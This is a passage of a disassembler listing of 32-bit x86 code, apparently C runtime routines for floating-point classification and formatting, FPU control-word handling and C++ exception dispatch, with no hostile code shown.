jmp short loc_419D41
; ---------------------------------------------------------------------------
loc_419D05: ; CODE XREF: sub_419CEE+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_419D17
cmp [ebp+arg_0], edx
jnz short loc_419D17
push 2
jmp short loc_419D41
; ---------------------------------------------------------------------------
loc_419D17: ; CODE XREF: sub_419CEE+11j
; sub_419CEE+1Ej ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_419D2A
push 3
jmp short loc_419D41
; ---------------------------------------------------------------------------
loc_419D2A: ; CODE XREF: sub_419CEE+36j
cmp cx, 7FF0h
jnz short loc_419D44
test [ebp+arg_4], 7FFFFh
jnz short loc_419D3F
cmp [ebp+arg_0], edx
jz short loc_419D44
loc_419D3F: ; CODE XREF: sub_419CEE+4Aj
push 4
loc_419D41: ; CODE XREF: sub_419CEE+15j
; sub_419CEE+27j ...
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_419D44: ; CODE XREF: sub_419CEE+41j
; sub_419CEE+4Fj
xor eax, eax
pop ebp
retn
sub_419CEE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419D48(double,int)
sub_419D48 proc near ; CODE XREF: sub_41999C+160p
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
fcomp dbl_4217B0
push esi
fnstsw ax
sahf
jnz short loc_419D68
fldz
xor esi, esi
fstp [ebp+var_8]
jmp loc_419DFE
; ---------------------------------------------------------------------------
loc_419D68: ; CODE XREF: sub_419D48+12j
xor ecx, ecx
test word ptr [ebp+arg_0+6], 7FF0h
jnz short loc_419DD7
test dword ptr [ebp+arg_0+4], 0FFFFFh
jnz short loc_419D80
cmp dword ptr [ebp+arg_0], ecx
jz short loc_419DD7
loc_419D80: ; CODE XREF: sub_419D48+31j
fld [ebp+arg_0]
fcomp dbl_4217B0
mov esi, 0FFFFFC03h
fnstsw ax
sahf
jnb short loc_419D98
push 1
pop eax
jmp short loc_419D9A
; ---------------------------------------------------------------------------
loc_419D98: ; CODE XREF: sub_419D48+49j
xor eax, eax
loc_419D9A: ; CODE XREF: sub_419D48+4Ej
; sub_419D48+69j
test byte ptr [ebp+arg_0+6], 10h
jnz short loc_419DB3
shl dword ptr [ebp+arg_0+4], 1
test byte ptr [ebp+arg_0+3], 80h
jz short loc_419DAD
or dword ptr [ebp+arg_0+4], 1
loc_419DAD: ; CODE XREF: sub_419D48+5Fj
shl dword ptr [ebp+arg_0], 1
dec esi
jmp short loc_419D9A
; ---------------------------------------------------------------------------
loc_419DB3: ; CODE XREF: sub_419D48+56j
and word ptr [ebp+arg_0+6], 0FFEFh
cmp eax, ecx
jz short loc_419DC1
or byte ptr [ebp+arg_0+7], 80h
loc_419DC1: ; CODE XREF: sub_419D48+73j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_419CC5
fstp [ebp+var_8]
add esp, 0Ch
jmp short loc_419DFE
; ---------------------------------------------------------------------------
loc_419DD7: ; CODE XREF: sub_419D48+28j
; sub_419D48+36j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_419CC5
mov eax, dword ptr [ebp+arg_0+6]
add esp, 0Ch
fstp [ebp+var_8]
shr eax, 4
and ax, 7FFh
movsx esi, ax
sub esi, 3FEh
loc_419DFE: ; CODE XREF: sub_419D48+1Bj
; sub_419D48+8Dj
mov eax, [ebp+arg_8]
fld [ebp+var_8]
mov [eax], esi
pop esi
leave
retn
sub_419D48 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E09 proc near ; CODE XREF: sub_4196E9+F6p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fstsw [ebp+var_2]
movsx eax, [ebp+var_2]
leave
retn
sub_419E09 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E17 proc near ; CODE XREF: sub_4196E9+206p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fnstsw [ebp+var_2]
fnclex
movsx eax, [ebp+var_2]
leave
retn
sub_419E17 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E26 proc near ; CODE XREF: sub_415E6C+13p
; sub_415E6C+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
fstcw word ptr [ebp+var_4]
mov eax, [ebp+arg_4]
mov ecx, eax
and eax, [ebp+arg_0]
not ecx
and ecx, [ebp+var_4]
or ecx, eax
mov [ebp+arg_4], ecx
fldcw word ptr [ebp+arg_4]
movsx eax, word ptr [ebp+var_4]
leave
retn
sub_419E26 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E49 proc near ; CODE XREF: sub_41999C+1Dp
; sub_41999C+37p ...
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov cl, byte ptr [ebp+arg_0]
test cl, 1
jz short loc_419E60
fld tbyte_4380B0
fistp [ebp+arg_0]
wait
loc_419E60: ; CODE XREF: sub_419E49+Bj
test cl, 8
jz short loc_419E75
fstsw ax
fld tbyte_4380B0
fstp [ebp+var_8]
wait
fstsw ax
loc_419E75: ; CODE XREF: sub_419E49+1Aj
test cl, 10h
jz short loc_419E84
fld tbyte_4380BC
fstp [ebp+var_8]
wait
loc_419E84: ; CODE XREF: sub_419E49+2Fj
test cl, 4
jz short loc_419E92
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_419E92: ; CODE XREF: sub_419E49+3Ej
test cl, 20h
jz short locret_419E9D
fldpi
fstp [ebp+var_8]
wait
locret_419E9D: ; CODE XREF: sub_419E49+4Cj
leave
retn
sub_419E49 endp
; =============== S U B R O U T I N E =======================================
sub_419E9F proc near ; CODE XREF: sub_415F3B+Fp
push 30000h
push 10000h
call sub_41D84B
pop ecx
pop ecx
retn
sub_419E9F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419EB1 proc near ; CODE XREF: sub_419EEF:loc_419F13j
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld dbl_4217C0
fstp [ebp+var_8]
fld dbl_4217B8
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp dbl_421670
fnstsw ax
sahf
jbe short loc_419EEB
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_419EEB: ; CODE XREF: sub_419EB1+33j
xor eax, eax
leave
retn
sub_419EB1 endp
; =============== S U B R O U T I N E =======================================
sub_419EEF proc near ; CODE XREF: sub_415F3B+5p
push offset aKernel32 ; "KERNEL32"
call dword_4210C8
test eax, eax
jz short loc_419F13
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
call dword_4210C4
test eax, eax
jz short loc_419F13
push 0
call eax ; sub_415F3B
retn
; ---------------------------------------------------------------------------
loc_419F13: ; CODE XREF: sub_419EEF+Dj
; sub_419EEF+1Dj
jmp sub_419EB1
sub_419EEF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_419F18 proc near ; DATA XREF: sub_415F53+1Eo
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_417193
cmp eax, 65h
pop ecx
jz short loc_419F58
loc_419F2C: ; CODE XREF: sub_419F18+3Ej
inc esi
cmp dword_437F9C, 1
jle short loc_419F45
movsx eax, byte ptr [esi]
push 4
push eax
call sub_418556
pop ecx
pop ecx
jmp short loc_419F54
; ---------------------------------------------------------------------------
loc_419F45: ; CODE XREF: sub_419F18+1Cj
movsx eax, byte ptr [esi]
mov ecx, off_437D90
mov al, [ecx+eax*2]
and eax, 4
loc_419F54: ; CODE XREF: sub_419F18+2Bj
test eax, eax
jnz short loc_419F2C
loc_419F58: ; CODE XREF: sub_419F18+12j
mov cl, byte_437FA0
mov al, [esi]
mov [esi], cl
inc esi
loc_419F63: ; CODE XREF: sub_419F18+56j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_419F63
pop esi
retn
sub_419F18 endp
; ---------------------------------------------------------------------------
loc_419F72: ; DATA XREF: sub_415F53+5o
mov eax, [esp+4]
mov dl, byte_437FA0
mov cl, [eax]
test cl, cl
jz short loc_419F8E
loc_419F82: ; CODE XREF: .nsp0:00419F8Cj
cmp cl, dl
jz short loc_419F8E
mov cl, [eax+1]
inc eax
test cl, cl
jnz short loc_419F82
loc_419F8E: ; CODE XREF: .nsp0:00419F80j
; .nsp0:00419F84j
mov cl, [eax]
inc eax
test cl, cl
jz short locret_419FBF
loc_419F95: ; CODE XREF: .nsp0:00419FA6j
mov cl, [eax]
test cl, cl
jz short loc_419FA8
cmp cl, 65h
jz short loc_419FA8
cmp cl, 45h
jz short loc_419FA8
inc eax
jmp short loc_419F95
; ---------------------------------------------------------------------------
loc_419FA8: ; CODE XREF: .nsp0:00419F99j
; .nsp0:00419F9Ej ...
mov ecx, eax
loc_419FAA: ; CODE XREF: .nsp0:00419FAEj
dec eax
cmp byte ptr [eax], 30h
jz short loc_419FAA
cmp [eax], dl
jnz short loc_419FB5
dec eax
loc_419FB5: ; CODE XREF: .nsp0:00419FB2j
; .nsp0:00419FBDj
mov dl, [ecx]
inc eax
inc ecx
test dl, dl
mov [eax], dl
jnz short loc_419FB5
locret_419FBF: ; CODE XREF: .nsp0:00419F93j
retn
; ---------------------------------------------------------------------------
loc_419FC0: ; DATA XREF: sub_415F53+28o
mov eax, [esp+4]
fld qword ptr [eax]
fcomp dbl_4217B0
fnstsw ax
sahf
jb short loc_419FD5
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_419FD5: ; CODE XREF: .nsp0:00419FCFj
xor eax, eax
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419FD8 proc near ; DATA XREF: sub_415F53+14o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_41A001
lea eax, [ebp+var_8]
push eax
call sub_41DD0E
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_41A001: ; CODE XREF: sub_419FD8+Cj
lea eax, [ebp+arg_8]
push eax
call sub_41DD3B
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
mov [eax], ecx
leave
retn
sub_419FD8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A016 proc near ; CODE XREF: sub_41A293+17p
; sub_41A2DD+47p
var_10 = qword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp byte_469520, 0
push ebx
push esi
jz short loc_41A04B
mov ebx, [ebp+arg_8]
mov eax, dword_46951C
xor ecx, ecx
mov esi, eax
test ebx, ebx
setnle cl
push ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
add ecx, [ebp+arg_4]
push ecx
call sub_41A32E
pop ecx
pop ecx
jmp short loc_41A083
; ---------------------------------------------------------------------------
loc_41A04B: ; CODE XREF: sub_41A016+Cj
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+10h+var_10]
call sub_41DDDF
mov ebx, [ebp+arg_8]
mov esi, eax
push esi
mov edx, [ebp+arg_4]
lea eax, [ebx+1]
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
xor ecx, ecx
test ebx, ebx
setnle cl
add edx, eax
add ecx, edx
push ecx
call sub_41DD68
add esp, 14h
loc_41A083: ; CODE XREF: sub_41A016+33j
cmp dword ptr [esi], 2Dh
mov eax, [ebp+arg_4]
jnz short loc_41A08F
mov byte ptr [eax], 2Dh
inc eax
loc_41A08F: ; CODE XREF: sub_41A016+73j
test ebx, ebx
jle short loc_41A0A7
mov cl, [eax+1]
push edi
lea edi, [eax+1]
mov [eax], cl
mov cl, byte_437FA0
mov eax, edi
pop edi
mov [eax], cl
loc_41A0A7: ; CODE XREF: sub_41A016+7Bj
xor ecx, ecx
push offset aE000 ; "e+000"
cmp byte_469520, cl
setz cl
add ecx, eax
add ecx, ebx
push ecx
call sub_415C00
cmp [ebp+arg_C], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_41A0CE
mov byte ptr [ecx], 45h
loc_41A0CE: ; CODE XREF: sub_41A016+B3j
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_41A113
mov ebx, [esi+4]
dec ebx
jns short loc_41A0E2
neg ebx
mov byte ptr [ecx], 2Dh
loc_41A0E2: ; CODE XREF: sub_41A016+C5j
inc ecx
cmp ebx, 64h
jl short loc_41A0F9
mov eax, ebx
push 64h
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_41A0F9: ; CODE XREF: sub_41A016+D0j
inc ecx
cmp ebx, 0Ah
jl short loc_41A110
mov eax, ebx
push 0Ah
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_41A110: ; CODE XREF: sub_41A016+E7j
add [ecx+1], bl
loc_41A113: ; CODE XREF: sub_41A016+BFj
mov eax, [ebp+arg_4]
pop esi
pop ebx
pop ebp
retn
sub_41A016 endp
; =============== S U B R O U T I N E =======================================
sub_41A11A proc near ; CODE XREF: sub_41A2BA+13p
; sub_41A2DD+1Ep
var_18 = qword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp byte_469520, 0
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
push edi
jz short loc_41A155
mov eax, dword_469524
mov ebx, [esp+10h+arg_8]
mov esi, dword_46951C
cmp eax, ebx
jnz short loc_41A185
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebp
mov eax, ecx
mov byte ptr [eax], 30h
and byte ptr [eax+1], 0
jmp short loc_41A185
; ---------------------------------------------------------------------------
loc_41A155: ; CODE XREF: sub_41A11A+Fj
mov eax, [esp+10h+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+18h+var_18]
call sub_41DDDF
mov ebx, [esp+18h+arg_8]
mov esi, eax
push esi
mov eax, [esi+4]
add eax, ebx
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, ebp
push eax
call sub_41DD68
add esp, 14h
loc_41A185: ; CODE XREF: sub_41A11A+22j
; sub_41A11A+39j
cmp dword ptr [esi], 2Dh
mov edi, ebp
jnz short loc_41A193
mov byte ptr [ebp+0], 2Dh
lea edi, [ebp+1]
loc_41A193: ; CODE XREF: sub_41A11A+70j
mov eax, [esi+4]
test eax, eax
jg short loc_41A1AA
push 1
push edi
call sub_41A32E
pop ecx
mov byte ptr [edi], 30h
pop ecx
inc edi
jmp short loc_41A1AC
; ---------------------------------------------------------------------------
loc_41A1AA: ; CODE XREF: sub_41A11A+7Ej
add edi, eax
loc_41A1AC: ; CODE XREF: sub_41A11A+8Ej
test ebx, ebx
jle short loc_41A1F1
push 1
push edi
call sub_41A32E
mov al, byte_437FA0
pop ecx
mov [edi], al
mov esi, [esi+4]
inc edi
pop ecx
test esi, esi
jge short loc_41A1F1
cmp byte_469520, 0
jz short loc_41A1D6
neg esi
jmp short loc_41A1DC
; ---------------------------------------------------------------------------
loc_41A1D6: ; CODE XREF: sub_41A11A+B6j
neg esi
cmp ebx, esi
jl short loc_41A1DE
loc_41A1DC: ; CODE XREF: sub_41A11A+BAj
mov ebx, esi
loc_41A1DE: ; CODE XREF: sub_41A11A+C0j
push ebx
push edi
call sub_41A32E
push ebx
push 30h
push edi
call sub_415570
add esp, 14h
loc_41A1F1: ; CODE XREF: sub_41A11A+94j
; sub_41A11A+ADj
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_41A11A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A1F8 proc near ; CODE XREF: sub_41A2DD+34p
var_14 = qword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [edi]
fstp [esp+14h+var_14]
call sub_41DDDF
mov dword_46951C, eax
mov ecx, [eax+4]
dec ecx
mov ebx, [ebp+arg_8]
mov dword_469524, ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
push eax
push ebx
setz cl
add ecx, [ebp+arg_4]
mov esi, ecx
push esi
call sub_41DD68
mov eax, dword_46951C
add esp, 14h
mov ecx, [eax+4]
dec ecx
cmp dword_469524, ecx
setl cl
mov byte_469528, cl
mov eax, [eax+4]
dec eax
cmp eax, 0FFFFFFFCh
mov dword_469524, eax
jl short loc_41A27E
cmp eax, ebx
jge short loc_41A27E
test cl, cl
jz short loc_41A26F
loc_41A265: ; CODE XREF: sub_41A1F8+72j
mov al, [esi]
inc esi
test al, al
jnz short loc_41A265
and [esi-2], al
loc_41A26F: ; CODE XREF: sub_41A1F8+6Bj
push ebx
push [ebp+arg_4]
push edi
call sub_41A2BA
add esp, 0Ch
jmp short loc_41A28E
; ---------------------------------------------------------------------------
loc_41A27E: ; CODE XREF: sub_41A1F8+63j
; sub_41A1F8+67j
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
push edi
call sub_41A293
add esp, 10h
loc_41A28E: ; CODE XREF: sub_41A1F8+84j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41A1F8 endp
; =============== S U B R O U T I N E =======================================
sub_41A293 proc near ; CODE XREF: sub_41A1F8+8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov byte_469520, 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41A016
and byte_469520, 0
add esp, 10h
retn
sub_41A293 endp
; =============== S U B R O U T I N E =======================================
sub_41A2BA proc near ; CODE XREF: sub_41A1F8+7Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov byte_469520, 1
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41A11A
and byte_469520, 0
add esp, 0Ch
retn
sub_41A2BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A2DD proc near ; DATA XREF: sub_415F53o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_41A318
cmp [ebp+arg_8], 45h
jz short loc_41A318
cmp [ebp+arg_8], 66h
jnz short loc_41A305
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41A11A
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41A305: ; CODE XREF: sub_41A2DD+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41A1F8
jmp short loc_41A329
; ---------------------------------------------------------------------------
loc_41A318: ; CODE XREF: sub_41A2DD+7j
; sub_41A2DD+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41A016
loc_41A329: ; CODE XREF: sub_41A2DD+39j
add esp, 10h
pop ebp
retn
sub_41A2DD endp
; =============== S U B R O U T I N E =======================================
sub_41A32E proc near ; CODE XREF: sub_41A016+2Cp
; sub_41A11A+83p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_41A351
push esi
mov esi, [esp+8+arg_0]
push esi
call sub_415CF0
inc eax
push eax
push esi
add esi, edi
push esi
call sub_416490
add esp, 10h
pop esi
loc_41A351: ; CODE XREF: sub_41A32E+7j
pop edi
retn
sub_41A32E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A353 proc near ; CODE XREF: .nsp0:00416134p
; sub_41619D+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_10]
push edi
mov edi, 19930520h
cmp [esi], edi
jz short loc_41A369
call sub_41ABF2
loc_41A369: ; CODE XREF: sub_41A353+Fj
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jz short loc_41A391
cmp dword ptr [esi+4], 0
jz short loc_41A3E7
cmp [ebp+arg_14], 0
jnz short loc_41A3E7
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_41A69A
add esp, 10h
jmp short loc_41A3E7
; ---------------------------------------------------------------------------
loc_41A391: ; CODE XREF: sub_41A353+1Dj
cmp dword ptr [esi+0Ch], 0
jz short loc_41A3E7
cmp dword ptr [eax], 0E06D7363h
jnz short loc_41A3CB
cmp [eax+14h], edi
jbe short loc_41A3CB
mov ecx, [eax+1Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_41A3CB
movzx edx, byte ptr [ebp+arg_1C]
push edx
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call ecx
add esp, 20h
jmp short loc_41A3EA
; ---------------------------------------------------------------------------
loc_41A3CB: ; CODE XREF: sub_41A353+4Aj
; sub_41A353+4Fj ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_41A3EE
add esp, 20h
loc_41A3E7: ; CODE XREF: sub_41A353+23j
; sub_41A353+29j ...
push 1
pop eax
loc_41A3EA: ; CODE XREF: sub_41A353+76j
pop edi
pop esi
pop ebp
retn
sub_41A353 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A3EE proc near ; CODE XREF: sub_41A353+8Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
and byte ptr [ebp+var_14], 0
mov eax, [eax+8]
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jl short loc_41A40E
mov ecx, [ebp+arg_10]
cmp eax, [ecx+4]
jl short loc_41A413
loc_41A40E: ; CODE XREF: sub_41A3EE+16j
call sub_41ABF2
loc_41A413: ; CODE XREF: sub_41A3EE+1Ej
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, 0E06D7363h
push edi
mov edi, 19930520h
cmp [esi], ebx
jnz loc_41A56A
cmp dword ptr [esi+10h], 3
jnz short loc_41A487
cmp [esi+14h], edi
jnz short loc_41A487
cmp dword ptr [esi+1Ch], 0
jnz short loc_41A487
mov esi, dword_46952C
test esi, esi
jz loc_41A565
mov eax, dword_469530
push 1
push esi
mov [ebp+arg_8], eax
mov byte ptr [ebp+var_14], 1
call sub_41DF66
pop ecx
test eax, eax
pop ecx
jnz short loc_41A469
call sub_41ABF2
loc_41A469: ; CODE XREF: sub_41A3EE+74j
cmp [esi], ebx
jnz loc_41A56A
cmp dword ptr [esi+10h], 3
jnz short loc_41A487
cmp [esi+14h], edi
jnz short loc_41A487
cmp dword ptr [esi+1Ch], 0
jnz short loc_41A487
call sub_41ABF2
loc_41A487: ; CODE XREF: sub_41A3EE+41j
; sub_41A3EE+46j ...
cmp [esi], ebx
jnz loc_41A56A
cmp dword ptr [esi+10h], 3
jnz loc_41A56A
cmp [esi+14h], edi
jnz loc_41A56A
mov edi, [ebp+var_10]
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_4162EB
add esp, 14h
mov ebx, eax
loc_41A4BE: ; CODE XREF: sub_41A3EE+162j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_18]
jnb loc_41A555
cmp [ebx], edi
jg short loc_41A54A
cmp edi, [ebx+4]
jg short loc_41A54A
mov eax, [ebx+10h]
mov [ebp+arg_0], eax
mov eax, [ebx+0Ch]
test eax, eax
mov [ebp+var_C], eax
jle short loc_41A547
loc_41A4E3: ; CODE XREF: sub_41A3EE+131j
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea edi, [eax+4]
mov eax, [eax]
test eax, eax
mov [ebp+var_8], eax
jle short loc_41A514
loc_41A4F5: ; CODE XREF: sub_41A3EE+124j
push dword ptr [esi+1Ch]
push dword ptr [edi]
push [ebp+arg_0]
call sub_41A63D
add esp, 0Ch
test eax, eax
jnz short loc_41A523
dec [ebp+var_8]
add edi, 4
cmp [ebp+var_8], eax
jg short loc_41A4F5
loc_41A514: ; CODE XREF: sub_41A3EE+105j
dec [ebp+var_C]
add [ebp+arg_0], 10h
cmp [ebp+var_C], 0
jg short loc_41A4E3
jmp short loc_41A547
; ---------------------------------------------------------------------------
loc_41A523: ; CODE XREF: sub_41A3EE+119j
push [ebp+var_14]
push [ebp+arg_1C]
push [ebp+arg_18]
push ebx
push dword ptr [edi]
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_41A74E
add esp, 2Ch
loc_41A547: ; CODE XREF: sub_41A3EE+F3j
; sub_41A3EE+133j
mov edi, [ebp+var_10]
loc_41A54A: ; CODE XREF: sub_41A3EE+DEj
; sub_41A3EE+E3j
inc [ebp+var_4]
add ebx, 14h
jmp loc_41A4BE
; ---------------------------------------------------------------------------
loc_41A555: ; CODE XREF: sub_41A3EE+D6j
cmp [ebp+arg_14], 0
jz short loc_41A565
push 1
push esi
call sub_41AAC3
pop ecx
pop ecx
loc_41A565: ; CODE XREF: sub_41A3EE+56j
; sub_41A3EE+16Bj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41A56A: ; CODE XREF: sub_41A3EE+37j
; sub_41A3EE+7Dj ...
cmp [ebp+arg_14], 0
jnz short loc_41A590
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_10]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_41A595
add esp, 20h
jmp short loc_41A565
; ---------------------------------------------------------------------------
loc_41A590: ; CODE XREF: sub_41A3EE+180j
jmp sub_41AB9C
sub_41A3EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A595 proc near ; CODE XREF: sub_41A3EE+198p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword_469534, 0
push esi
push edi
jz short loc_41A5C6
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4161C2
add esp, 1Ch
test eax, eax
jnz short loc_41A639
loc_41A5C6: ; CODE XREF: sub_41A595+Ej
mov edi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_4162EB
add esp, 14h
mov esi, eax
loc_41A5E2: ; CODE XREF: sub_41A595+A2j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jnb short loc_41A639
cmp edi, [esi]
jl short loc_41A631
cmp edi, [esi+4]
jg short loc_41A631
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_41A60B
cmp byte ptr [ecx+8], 0
jnz short loc_41A631
loc_41A60B: ; CODE XREF: sub_41A595+6Ej
push 1
add eax, 0FFFFFFF0h
push [ebp+arg_1C]
push [ebp+arg_18]
push esi
push 0
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41A74E
add esp, 2Ch
loc_41A631: ; CODE XREF: sub_41A595+57j
; sub_41A595+5Cj ...
inc [ebp+var_4]
add esi, 14h
jmp short loc_41A5E2
; ---------------------------------------------------------------------------
loc_41A639: ; CODE XREF: sub_41A595+2Fj
